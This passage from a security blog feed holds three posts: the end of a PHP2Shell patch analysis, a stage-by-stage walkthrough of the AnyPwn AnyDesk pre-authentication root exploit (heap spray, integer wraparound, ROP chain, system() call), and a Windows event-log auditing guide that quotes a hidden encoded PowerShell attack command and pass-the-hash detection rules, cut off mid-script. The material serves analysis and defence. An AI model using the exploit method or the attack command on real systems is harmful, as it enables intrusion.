stale-state advisory identifies early environment INI application as a conditional candidate. For php-cgi, document the host’s actual invocation and reuse model rather than assuming it behaves like a persistent FPM pool.</p><h3>6. What the patches change, and how to read them</h3><h3>6.1 The OOM fix changes the interruption model</h3><p>PHP’s advisory says the patch removes the unsafe immediate longjmp() behavior for OOM. It introduces <strong>delayed soft OOM at a VM safe point</strong> and <strong>immediate hard OOM using _exit() at a second, higher threshold</strong>.</p><p><strong>Before the fix:</strong> allocation failure can abandon native code while its temporary state is inconsistent, followed by shutdown that processes that state.</p><p><strong>Soft OOM after the fix:</strong> the memory condition is recognized, but the runtime delays the graceful failure until a safe execution boundary. The goal is to avoid abandoning arbitrary native operations halfway through their invariants.</p><p><strong>Hard OOM after the fix:</strong> if memory reaches the higher boundary, the worker exits immediately instead of trying ordinary user-space shutdown on a potentially unsafe path. _exit() is not the same as a normal PHP shutdown that runs application cleanup.</p><p>This does not give PHP unlimited memory, promise that every OOM is recoverable, or mean every later worker exit indicates exploitation. It changes how memory exhaustion is handled so incomplete state is not trusted during the vulnerable cleanup sequence. Exact thresholds and implementation details belong to the checked release source and configuration, not a universal number copied from a demonstration.</p><h3>6.2 The stale-state fix changes the ownership boundary</h3><p>For 109619, the complete fix resets the wider request-owned error, session, object, and extension state that must not survive into operations preceding ordinary initialization. Clearing one particular backtrace pointer would not address every producer/consumer pairing.</p><p>The review question is not simply ‘was memory freed?’ It is ‘after freeing, can any surviving worker-global field still reach request-owned memory, and can any earlier-than-normal callback consume it?’ A diagnostic that repopulates state late in shutdown is relevant even if a previous cleanup stage already reset the field.</p><h3>6.3 Read-only source comparison, step by step</h3><p>The following downloads official source and reads a diff. It does not build a vulnerable service, run a public exploit, or send malformed traffic. You need Git and enough disk space for the source checkout.</p><pre>git clone --depth=1 --branch php-8.5.11 https://github.com/php/php-src.git php2shell-source<br>cd php2shell-source<br>git fetch --depth=1 origin tag php-8.5.12<br>git rev-parse php-8.5.11 php-8.5.12<br>git diff --stat php-8.5.11 php-8.5.12<br>git diff php-8.5.11 php-8.5.12 -- NEWS<br>git diff php-8.5.11 php-8.5.12 -- Zend/zend_alloc.c<br>git diff php-8.5.11 php-8.5.12 -- main/main.c Zend/zend.c ext/session/session.c</pre><p><strong>Step 1: record the revisions.</strong> Save the resolved hashes alongside your report. A mutable branch name alone is not a reproducible source reference.</p><p><strong>Step 2: read NEWS and the full change list.</strong> The selected paths above are orientation points, not a claim that every fix is contained in those files. Follow additional files and tests named by the full diff.</p><p><strong>Step 3: trace the OOM path.</strong> Identify where an allocation crosses policy limits, how a pending soft failure is represented, where safe-point processing occurs, and where hard termination replaces normal shutdown. Do not assume one changed hash insertion is the entire remediation.</p><p><strong>Step 4: trace state ownership.</strong> For each changed global, identify who allocates the referenced state, who publishes it, and which stage clears it before memory release and early next-request work.</p><p><strong>Step 5: read the regression tests.</strong> A new test’s expected output proves a narrowly defined behavior under its configuration. It does not assert that every possible application, extension, and SAPI has been exercised.</p><p><strong>Step 6: compare the package actually deployed.</strong> If a distribution backports the patch, upstream version tags alone do not describe the patched package. Record the package revision and vendor advisory that attest to the backport.</p><p>These are source-review instructions, not a claim that this article built and tested every source tag or reproduced either memory-corruption exploit.</p><h3>6.4 Four shortcuts that give false confidence</h3><ul><li><strong>‘No segfault, therefore safe.’</strong> Successful execution need not crash a worker, and many unsuccessful probes do not hit the precise vulnerable state.</li><li><strong>‘The large POST returned 500, therefore vulnerable.’</strong> A 500 response is not proof of native corruption or code execution. A patched server can legitimately reject memory-intensive work.</li><li><strong>‘session.upload_progress.enabled=0 fixes both.’</strong> It removes documented session paths, not the entire OOM family or every non-session global.</li><li><strong>‘php -v is patched, therefore the website is patched.’</strong> The shell can use a different binary, configuration, container, or installation from the worker serving HTTP.</li></ul><h3>7. Timeline and confidence boundaries</h3><ul><li><strong>2020 and 2024:</strong> the original research recounts an older OOM report and later audit context. Earlier reports of OOM behavior are historical context, not proof of exploitation of today’s exact chains.</li><li><strong>October 17, 2026:</strong> AWS reports a PHP2Shell exploitation attempt in its MadPot telemetry. The report does not establish successful compromise of a real-world host.</li><li><strong>October 21, 2026:</strong> PHP releases the two critical fixes and the technical advisories. AWS reports additional attempts around disclosure.</li><li><strong>October 22, 2026:</strong> Datadog’s independent analysis describes its reproduction and explains the concrete interrupted hash-table insertion.</li><li><strong>October 23, 2026:</strong> PHP issues a separate informational notice concerning unusual serializer switching and upload progress, tracked as CVE-2026–115560.</li></ul><p>No named APT attribution is established by the sources used here. Shared infrastructure, an exploit attempt, a successful honeypot result, and attribution are different evidence categories. Do not fill those gaps with speculation.</p><h3>8. References and further reading</h3><ul><li><strong>[S1] PHP: RCE via OOM corruption, CVE-2026–109618.</strong> Primary mechanism, SAPI susceptibility, patch design, impact, and mitigation limits: <a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w</a></li><li><strong>[S2] PHP: RCE via stale global state, CVE-2026–109619.</strong> Producers, consumers, confirmed and candidate cases, and complete-remediation requirements: <a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp">https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp</a></li><li><strong>[S3] PHP 2026 news archive.</strong> October 21 security release and October 23 informational session-upload-progress notice: <a href="https://www.php.net/archive/2026.php">https://www.php.net/archive/2026.php</a></li><li><strong>[S4] Datadog Security Labs: PHP2Shell critical vulnerabilities in PHP.</strong> Independent technical analysis, source excerpt, reproduction context, and investigation cautions: <a href="https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/">https://securitylabs.datadoghq.com/articles/php2shell-critical-vulnerabilities-in-php/</a></li><li><strong>[S5] PHP manual: Session Upload Progress.</strong> Legitimate behavior, pre-script execution, progress-field configuration, and cleanup context: <a href="https://www.php.net/manual/en/session.upload-progress.php">https://www.php.net/manual/en/session.upload-progress.php</a></li><li><strong>[S6] PHP manual: core php.ini directives.</strong> Memory policy, loaded-configuration caveats, and directive semantics: <a href="https://www.php.net/manual/en/ini.core.php">https://www.php.net/manual/en/ini.core.php</a></li><li><strong>[S7] Pinned pre-fix Zend hash-table source.</strong> Revision used for the cited insertion ordering: <a href="https://github.com/php/php-src/blob/678778973bb4d4185c06ef1320de50f1a975d3c8/Zend/zend_hash.c#L960-L964">https://github.com/php/php-src/blob/678778973bb4d4185c06ef1320de50f1a975d3c8/Zend/zend_hash.c#L960-L964</a></li><li><strong>[S8] Docker Official Image: PHP.</strong> Image configuration and custom INI files: <a href="https://hub.docker.com/_/php">https://hub.docker.com/_/php</a></li><li><strong>[S9] AWS: Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot.</strong> Attempt timeline and limits of the observed evidence: <a href="https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/">https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-php2shell-exploitation-prior-to-public-disclosure-in-madpot/</a></li><li><strong>[S10] Calif: A tale of two PHP remote vulnerabilities.</strong> Original research and historical context: <a href="https://calif.io/php2shell/">https://calif.io/php2shell/</a></li><li><strong>Official PHP source repository:</strong> <a href="https://github.com/php/php-src">https://github.com/php/php-src</a></li><li><strong>PHP supported versions:</strong> <a href="https://www.php.net/supported-versions.php">https://www.php.net/supported-versions.php</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c4d49b641b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A technical analysis of AnyPwn: Pre-Authentication Root RCE in AnyDesk Linux]]></title>
            <link>https://coffsec.medium.com/a-technical-analysis-of-anypwn-pre-authentication-root-rce-in-anydesk-linux-637143d1eda9?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/637143d1eda9</guid>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 06:38:27 GMT</pubDate>
            <atom:updated>2026-10-23T14:18:53.987Z</atom:updated>
            <content:encoded><![CDATA[<p>A technical analysis of AnyPwn(CVE-2026–109390): how an unvalidated packet length in AnyDesk became a pre-authentication, zero-click RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0vFjYexpvA1hEzyUU3I8w.jpeg" /></figure><h3>The failure: a small message makes the service reserve too little memory</h3><p>A remote access service has to read some network messages before it can ask a person to approve a session. AnyPwn attacks that earlier processing. It does not need to take over an approved desktop session: it damages the Linux service while the service is still handling the connection.</p><p>The underlying mistake is a disagreement between three things: how much data a message claims to contain, how much memory the service reserves, and how much data the service then writes. An unchecked calculation turns a very large claimed length into a very small allocation. The later write can run into a neighboring object.</p><p>The published exploit adds several preparation stages to turn that memory damage into command execution. Understanding the bug explains why the write is unsafe. Understanding those stages explains why an unsafe write sometimes runs a command and sometimes only crashes the service.</p><p>NVD lists Linux versions 8.0.0 through 8.0.2 in its structured affected range. V12’s complete demonstration targets one specific Linux 8.0.2 binary on x86_64. Version 8.0.3 contains the fix. Successful commands inherit the service’s privileges, normally root on Linux. Root means system administrator privileges, not a separate privilege escalation exploit.</p><h3>Stage 1: Establish a connection and reach the vulnerable session handler</h3><p>The first job is to get the service to process session traffic. V12’s client opens a TCP connection to the direct listener on port 7070, then wraps it in TLS. TLS encrypts the connection. It does not establish that the application messages inside it are valid or that desktop control has been authorized.</p><pre>client = connect_client()<br>assigned_stream = send_setup_and_get_stream(client)<br>send_stream_primer(client, assigned_stream)</pre><p>The first line creates the connection. The second exchanges setup messages and obtains a stream identifier from a server reply. Think of a stream identifier as a routing label: it tells AnyDesk which logical conversation should receive subsequent messages. It is not an authorization token. The third line sends short initialization messages on the associated streams.</p><p>Next, the proof of concept sends an ordinary profile object. V12 describes this as entering the profile/session path that handles mode 5 messages. Mode 5 names the relevant processing path; the vulnerability is not simply the presence of the number five in a packet. The service must have reached the right state before the malformed data matters.</p><p>This is why the labels pre-authentication and pre-approval need context. AnyDesk’s manual acceptance settings govern whether a person permits an incoming session. The demonstrated memory corruption happens before desktop-control approval. That does not mean the exploit skips TCP, TLS or the service’s protocol setup. An approval window is not a substitute for a safe parser.</p><p>At the end of this stage, the attacker has a connection and a route into the vulnerable handler. No desktop-control approval has been needed, and no memory corruption has happened yet.</p><h3>Stage 2: Arrange memory so the later overwrite has a useful neighbor</h3><p>The heap is the part of a process’s memory used for objects created while the program runs. A memory allocator chooses where those objects go. An overflow can only damage whatever happens to be next to its buffer, so the layout matters. The exploit cannot treat every nearby object as an equally useful target.</p><pre>send_heap_spray(client, assigned_stream)<br>clients = connect_victim_clients()</pre><p>The first call creates many persistent objects across a range of sizes. This is heap spraying: filling memory with deliberately chosen allocations to influence what is likely to be nearby later. Covering several sizes helps accommodate the allocator’s different size classes instead of relying on one exact object size.</p><p>The second call opens additional connections. Each causes the service to create client-related objects. These are the candidate victims: objects whose control information could become useful if an overflowing buffer lands immediately before them. Here, victim means an object in the target process, not an additional computer being attacked.</p><p>The purpose is placement, not command execution. If a candidate object ends up beside the undersized buffer created in the next stage, the overwrite may alter it. If the arrangement is wrong, the write may hit an unhelpful object or cause a crash. V12 explicitly describes this layout as probabilistic. Spraying improves the opportunity; it does not make success certain.</p><h3>Stage 3: Lie about the data length, shrink the allocation and overwrite its neighbor</h3><p>Now the exploit sends the malformed message. To see what is wrong with it, separate the outer frame from the data inside it. The outer frame has a two byte length, followed by a stream identifier and session data. Inside that session data, the mode 5 handler reads another length describing the body it is supposed to process.</p><p>Those lengths do not have to be identical: the outer frame also contains metadata. The essential rule is that the declared body length must not exceed the actual body bytes left after the metadata has been parsed. V12’s normal message builder illustrates the intended relationship.</p><pre>def build_mode5_payload(payload: bytes) -&gt; bytes:<br> return encode_varint(len(payload)) + payload</pre><p>len(payload) measures the body that really exists. encode_varint writes that number in a compact format, and the final addition attaches the body. A varint uses a variable number of bytes to represent a number. It is not a promise that the stated amount of data was actually received. A large claim can therefore fit into a small message.</p><p>The vulnerable handler trusts the inner claim too early. It adds 16 bytes for an internal object header and uses the result to request memory. For an ordinary 32 byte body, the calculation would be 32 plus 16, or 48 bytes. That would leave room for the header and body. AnyPwn instead declares 4,294,967,280 bytes, written in hexadecimal as 0xFFFFFFF0.</p><p>Local arithmetic model. This is not AnyDesk source and sends no network traffic.</p><pre>declared = 0xFFFFFFF0<br>header = 16<br>full_result = declared + header<br>stored_u32 = full_result &amp; 0xFFFFFFFF<br>print(full_result) # 4294967296<br>print(stored_u32) # 0</pre><p>The first two lines supply the claimed length and the internal header size. Their sum is 4,294,967,296. An unsigned 32 bit value can hold only zero through 4,294,967,295, so that sum needs one more bit than fits. Keeping only the lowest 32 bits produces zero. This behavior is unsigned integer wraparound.</p><p>Python normally keeps the full integer instead of wrapping here. The bit mask on the fourth line deliberately models the truncated 32 bit result described by V12. The example explains the arithmetic; it is not a decompilation of the proprietary service.</p><p>The service now requests zero bytes while the object still records the original huge logical length. Its data pointer still points 16 bytes beyond the allocation base, as if the header and body had been reserved normally. The bookkeeping says there is abundant room, but the requested allocation provides none of that body space.</p><p>When packet body bytes are copied through that invalid pointer, the write crosses the allocation’s boundary. The allocator may round requests or provide internal bookkeeping space, but that does not make this a correctly sized application buffer. The attacker sends only the small body needed for the overwrite, not four gigabytes.</p><p>The prepared neighbor is what makes this write useful. V12’s trigger changes dispatch-related fields in an adjacent client object, including information used to choose a function to call. The bug has now become memory corruption. It has not yet become command execution: the service still has to use the altered object.</p><h3>Stage 4: Supply the instruction chain that the corrupted object will reach</h3><p>A changed function pointer can redirect execution, but redirecting it to an arbitrary or invalid location usually causes a crash. The exploit needs a useful destination. After the overwrite, it sends a second collection of objects containing a prepared instruction chain.</p><p>Original calls that build and distribute the later execution payload.</p><pre>obj = build_rop_payload(COMMAND)<br>send_rop_objects(client, obj)</pre><p>The first call constructs a return oriented programming chain, abbreviated ROP. Rather than supplying a new executable program, a ROP chain arranges addresses of short instruction sequences already present in the target binary. These sequences are often called gadgets. Each performs a small operation and transfers control to the next part of the chain.</p><p>The second call places repeated copies of the prepared object into the service’s memory. V12 also fills much of each object with repeated addresses of a simple return instruction before the meaningful chain. This return sled provides a wider landing area: several nearby entry positions can lead toward the same useful instructions instead of requiring one exact position.</p><p>The overwritten client is set up to reach a stack pivot. A pivot changes where the processor looks for the stored addresses used by subsequent returns. In this exploit, that connects the corrupted client object to one of the sprayed ROP objects. The pivot is the bridge; the ROP chain is the work performed after crossing it.</p><p>The two sprays therefore serve different purposes. The earlier one tries to position an object that can be damaged. The later one supplies repeated destinations for redirected execution. Confusing them hides why the proof of concept does both. At the end of this stage, the victim object’s control data has been altered and potential execution chains are in memory, but they still need to be reached.</p><h3>Stage 5: Resume the damaged client and execute a command with the service’s privileges</h3><p>The final trigger is normal-looking progress on the extra client connections. The proof of concept calls setup_victim_clients(clients), continuing their setup. When the service processes a corrupted candidate, it can follow the modified dispatch information rather than the original function path. The actual transfer happens while the service uses the damaged object, not merely when the malicious length arrives.</p><p>V12 describes that transfer passing through the chosen dispatch table and stack pivot into a sprayed instruction chain. The table, often called a vtable, holds addresses used to choose an object’s methods. Altering the relevant control data changes what the service calls. This is why overwriting object metadata can be more consequential than merely damaging a displayed name or profile picture.</p><p>The chain builder then performs three jobs: it writes the requested command into writable scratch memory, places the address of that command where the function expects its first argument, and transfers control to the target binary’s system() entry. system() executes a command using a shell. Those operations explain the jump from control-flow corruption to command execution.</p><p>The command runs in the security context of the compromised service. In the demonstrated Linux service configuration, that is normally root. The exploit does not need a second local vulnerability to elevate an ordinary account. It has already redirected a privileged process.</p><p>Root command execution is the precise demonstrated outcome. It does not automatically mean the proof of concept creates an interactive remote shell, establishes persistence or steals data. Those would be possible follow-on actions, not additional behaviors proved merely by the published demonstration.</p><p>The complete sequence is now visible: establish the session path, prepare neighboring objects, cause an undersized allocation and overwrite, supply reusable execution chains, then make the service process the damaged object. Removing any one of those explanations leaves a gap between the length error and the final command.</p><h3>How to break the chain: validate the declaration before allocating or copying</h3><p>The direct engineering fix is to stop treating an input length as established truth. First parse a bounded, well-formed varint. Then verify that its value fits the intended numeric type, fits within the actual frame body, and can safely accommodate the internal header. Those checks must happen before the value is narrowed, added to or used for memory access.</p><p>Illustrative defensive outline, not a recovered vendor patch. HEADER_SIZE is 16.</p><pre>if (!valid_varint || declared &gt; UINT32_MAX)<br> return REJECT;<br>if (declared &gt; available_body_bytes)<br> return REJECT;<br>if (declared &gt; UINT32_MAX - HEADER_SIZE)<br> return REJECT;<br>allocation_size = declared + HEADER_SIZE;</pre><p>The first condition rejects an invalid encoding or a number too large for 32 bits. The second rejects a body length that the received frame cannot support. The third ensures that adding the header will not wrap. It uses subtraction to check the limit without first performing the very addition that could overflow. The declaration must remain in a sufficiently wide representation while these checks run.</p><p>available_body_bytes means bytes remaining after the outer frame and its metadata have been safely validated. It must not be calculated by subtracting unchecked offsets. After allocation, the implementation must handle allocation failure and keep every copy within the actual validated capacity. This outline illustrates the checks; it is not a complete parser implementation.</p><p>Using a 64 bit variable alone would not solve the entire problem. Even a length that fits in 64 bits can falsely describe a small frame. Conversely, checking that data is present does not excuse overflow elsewhere in the allocation calculation. Input consistency, arithmetic safety and copy bounds are related but separate obligations.</p><p>A useful regression plan covers valid small frames, truncated metadata, malformed varints, a declared body longer than the frame, and numbers on either side of the header-addition limit. It should check that invalid input is rejected before allocation and copying. These are recommended tests derived from the failure, not claims about tests performed by AnyDesk.</p><h3>Sources</h3><p>1. V12: original AnyPwn research (<a href="https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/README.md">https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/README.md</a>). Root cause, exploit stages, test environment and stated limitations.</p><p>2. NVD: CVE-2026–109390 (<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-109390">https://nvd.nist.gov/vuln/detail/CVE-2026-109390</a>). Affected range, publication date, official weakness mapping and MITRE severity score.</p><p>3. V12: protocol framing helpers (<a href="https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/frames.py">https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/frames.py</a>). Outer framing, stream identifiers and varint encoding.</p><p>4. V12: proof of concept source (<a href="https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anypwn.py">https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anypwn.py</a>). Preparation at lines 146 to 204, setup at 281 to 313, trigger at 316 to 344, chain at 347 to 376 and orchestration at 411 to 438.</p><p>5. V12: client connection code (<a href="https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/client.py">https://github.com/v12-security/pocs/blob/b2b6b53779c04a58e4735232adaefd7a8b8f3625/anydesk/exploit/anydesk_proto/client.py</a>). Direct TCP transport wrapped in TLS.</p><p>6. AnyDesk: official Linux changelog (<a href="https://anydesk.com/en/changelog/linux">https://anydesk.com/en/changelog/linux</a>). Version 8.0.3 release date and wording; Remote Shell feature history.</p><p>7. Beazley Security: advisory BSL A1228 (<a href="https://labs.beazley.security/advisories/BSL-A1228">https://labs.beazley.security/advisories/BSL-A1228</a>). Independent advisory, interim controls and attributed vendor scope statements.</p><p>8. SEI CERT: prevent unsigned integer wrap (<a href="https://cmu-sei.github.io/secure-coding-standards/sei-cert-c-coding-standard/rules/integers-int/int30-c/">https://cmu-sei.github.io/secure-coding-standards/sei-cert-c-coding-standard/rules/integers-int/int30-c/</a>). Precondition checks before addition and allocation.</p><p>9. MITRE CWE-190: integer overflow or wraparound (<a href="https://cwe.mitre.org/data/definitions/190.html">https://cwe.mitre.org/data/definitions/190.html</a>). Background on the arithmetic mechanism, not an additional official CVE mapping.</p><p>10. MITRE CWE-122: heap-based buffer overflow (<a href="https://cwe.mitre.org/data/definitions/122.html">https://cwe.mitre.org/data/definitions/122.html</a>). Heap corruption and overwritten function pointers.</p><p>11. MITRE CWE-130: inconsistent length fields (<a href="https://cwe.mitre.org/data/definitions/130.html">https://cwe.mitre.org/data/definitions/130.html</a>). The weakness category recorded in the CVE.</p><p>12. AnyDesk: Interactive Access (<a href="https://support.anydesk.com/docs/interactive-access">https://support.anydesk.com/docs/interactive-access</a>). What manual acceptance settings control during normal operation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=637143d1eda9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[10 Windows Event Logs Every Defender Must Monitor]]></title>
            <link>https://coffsec.medium.com/10-windows-event-logs-every-defender-must-monitor-02bbdb51e539?source=rss-0be1189f4fb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/02bbdb51e539</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[COFFSec]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 23:45:02 GMT</pubDate>
            <atom:updated>2026-10-04T08:58:52.818Z</atom:updated>
            <content:encoded><![CDATA[<p>This post covers the ten most critical Windows Event ID categories what they capture, how to enable them, what malicious patterns look like, and the PowerShell and auditpol commands to operationalize every one of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pU_HY2FoO6agrbmEILM0wA.png" /></figure><h3>Enable Everything That Matters</h3><p>Run this once as Administrator on each machine, or push via Group Policy:</p><pre>:: AUDIT POLICY SUBCATEGORIES<br>auditpol /set /subcategory:&quot;Logon&quot;                             /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Logoff&quot;                            /success:enable<br>auditpol /set /subcategory:&quot;Account Lockout&quot;                   /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Process Creation&quot;                  /success:enable<br>auditpol /set /subcategory:&quot;Process Termination&quot;               /success:enable<br>auditpol /set /subcategory:&quot;Security Group Management&quot;         /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;User Account Management&quot;           /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Audit Policy Change&quot;               /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Other Object Access Events&quot;        /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Sensitive Privilege Use&quot;           /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Kerberos Authentication Service&quot;   /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Kerberos Service Ticket Operations&quot;/success:enable /failure:enable<br><br>:: COMMAND LINE IN PROCESS CREATION (critical for 4688 usefulness)<br>reg add &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit&quot; /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f<br>:: RESIZE EVENT LOGS<br>wevtutil sl Security    /ms:1073741824          :: 1 GB<br>wevtutil sl System      /ms:524288000           :: 512 MB<br>wevtutil sl &quot;Microsoft-Windows-PowerShell/Operational&quot; /ms:1073741824 /e:true<br>:: POWERSHELL SCRIPT BLOCK LOGGING<br>reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&quot; /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f<br>reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&quot; /v EnableScriptBlockInvocationLogging /t REG_DWORD /d 1 /f<br>:: DISABLE POWERSHELL VERSION 2 (blocks downgrade bypass)<br>Dism /Online /Disable-Feature:MicrosoftWindowsPowerShellV2Root /NoRestart</pre><p>Alternate GPO path for command-line capture:</p><pre>Computer Configuration<br>  → Administrative Templates → System → Audit Process Creation<br>    → &quot;Include command line in process creation events&quot; = Enabled</pre><p>Without command-line capture, Event ID 4688 tells you powershell.exe ran. With it, you see powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAI... — the actual attack.</p><h3>#1 — Event IDs 4624 / 4625: Successful and Failed Logon</h3><p><strong>Log:</strong> Security.evtx | <strong>Subcategory to enable:</strong> Logon (success + failure)</p><p>These are the most fundamental events. 4624 documents every successful authentication to a machine. 4625 documents every failure. The raw events are noise — the <strong>patterns</strong> across them reveal attacks.</p><h3>Logon Types: The Most Important Field in 4624</h3><p>The LogonType field tells you <em>how</em> the authentication occurred. This single integer is often the fastest way to identify lateral movement:</p><p><strong>Why Logon Type 9 is the most-missed indicator:</strong> Type 9 (NewCredentials) creates a new credential context <em>without logging off the original user</em>. It looks like the same user is still active. Mimikatz sekurlsa::pth (Pass-the-Hash), Cobalt Strike make_token, and Rubeus /ptt all generate Type 9 sessions. The victim&#39;s desktop shows them as logged in normally while an attacker is simultaneously operating under a different identity.</p><h3>Pass-the-Hash Detection: The CyberArk Correlation Model</h3><p>A legitimate NTLM network logon (Type 3) is almost always preceded by an interactive logon (Type 2, 7, or 10) from the same account. A Pass-the-Hash attack skips the interactive login entirely — the attacker never had the password, only the hash.</p><p>Detection logic:</p><pre>Rule: SUSPICIOUS_PTH<br>  IF: 4624 (Type 3) with AuthenticationPackage = NTLM<br>  AND: 4672 (Special Privileges assigned) for same LogonID       ← privileged account<br>  AND: NO preceding 4624 (Type 2/7/10) for same account         ← no interactive login<br>  WITHIN: last 8 hours<br>  THEN: ALERT — possible Pass-the-Hash<br># The key: legitimate admins log in interactively first, then access network resources.<br># PTH attackers never authenticate interactively - they skip straight to network logons.</pre><p>The open-source tool <strong>Ketshash</strong> (CyberArk Labs) automates exactly this correlation against live Windows event logs.</p><h3>4625 Sub-Status Codes: Identify the Attack Type Instantly</h3><pre>SubStatus   Meaning                              Attack Pattern<br>─────────────────────────────────────────────────────────────────────────<br>0xC000006A  Wrong password (username IS valid)   → Brute force or spray target<br>0xC0000064  Username does not exist              → Username enumeration in progress<br>0xC0000234  Account is locked out                → Prior brute force succeeded in locking<br>0xC000006E  Account restriction (time/host)      → Off-hours or wrong workstation access<br>0xC0000072  Account is disabled                  → Attacker using stale/disabled account<br>0xC0000193  Account expired<br>0xC0000070  Workstation restriction              → Lateral movement from unexpected host</pre><p><strong>Password Spray vs. Brute Force in the logs:</strong></p><ul><li><strong>Brute force:</strong> Many 4625 events against <em>one username</em>, varying passwords, same source IP</li><li><strong>Password spray:</strong> Many 4625 events against <em>many usernames</em>, same password, same source IP — sub-status 0xC000006A across many accounts</li></ul><pre># Hunt: Detect password spray (same source IP, 5+ unique victim accounts, all bad-password)<br>$fails = Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=4625; StartTime=(Get-Date).AddHours(-2) } |<br>  ForEach-Object {<br>    $x = [xml]$_.ToXml()<br>    [PSCustomObject]@{<br>      Time      = $_.TimeCreated<br>      User      = 